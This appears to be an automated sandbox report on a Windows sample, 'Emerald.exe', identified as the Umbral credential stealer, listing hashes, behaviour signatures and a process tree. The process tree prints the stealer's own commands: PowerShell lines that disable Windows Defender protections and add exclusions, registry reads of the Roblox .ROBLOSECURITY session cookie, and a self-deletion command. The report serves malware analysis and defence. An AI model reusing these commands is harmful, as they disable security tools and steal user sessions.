Analysis

  • max time kernel
    25s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-09-2024 07:48

General

  • Target

    Emerald X/Emerald.exe

  • Size

    229KB

  • MD5

    f50a9b0c2670af5b0e3371ecdcebed27

  • SHA1

    e114834c05d2e86db3c3d45ccbd46a7c32950167

  • SHA256

    abbf1cd65c8d762019873c47b45e374d0c75cb28ddf754a8ddb35501f3cb63b2

  • SHA512

    21784568e5f27bbd0235fb37d7a7381055da13f27c00b6399bbb09b286bc58a965f00bb925950855392aad57678d34ccd0de4d13b10f9ae7503bc192143a90c6

  • SSDEEP

    6144:lloZM+rIkd8g+EtXHkv/iD4eudRU69VecbGkFZwEPb8e1moi:noZtL+EP8eudRU69VecbGkFZwWq

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe
    "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2912
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
      2⤵
      • Views/modifies file attributes
      PID:2584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2824
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2064
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2996
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2428
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe" && pause
          2⤵
          • Deletes itself
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1912

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        07f15f1a3c11b0eee16a6bb112aaad95

        SHA1

        749ecb8ecc05e47ef32f3f0b3d21e6a47c91725c

        SHA256

        ed708727c1ee1df5fadeda9916bacf465a2fe6e445cdc7bc857f91a6d966ca66

        SHA512

        8a4546cee7fa1878b0273af5561b1341c7ba14b0546a7338f09a48956459ff0e9a6dd69c5f04151ff18ba781fcd7964e0123cbd7c525aa43766155f374bc44d9

      • memory/484-14-0x000000001B640000-0x000000001B922000-memory.dmp

        Filesize

        2.9MB

      • memory/484-15-0x0000000001F40000-0x0000000001F48000-memory.dmp

        Filesize

        32KB

      • memory/2604-7-0x000000001B6A0000-0x000000001B982000-memory.dmp

        Filesize

        2.9MB

      • memory/2604-8-0x0000000002060000-0x0000000002068000-memory.dmp

        Filesize

        32KB

      • memory/2856-0-0x000007FEF52D3000-0x000007FEF52D4000-memory.dmp

        Filesize

        4KB

      • memory/2856-1-0x0000000000820000-0x0000000000860000-memory.dmp

        Filesize

        256KB

      • memory/2856-2-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

        Filesize

        9.9MB

      • memory/2856-48-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

        Filesize

        9.9MB

      • memory/2996-44-0x0000000002070000-0x0000000002078000-memory.dmp

        Filesize

        32KB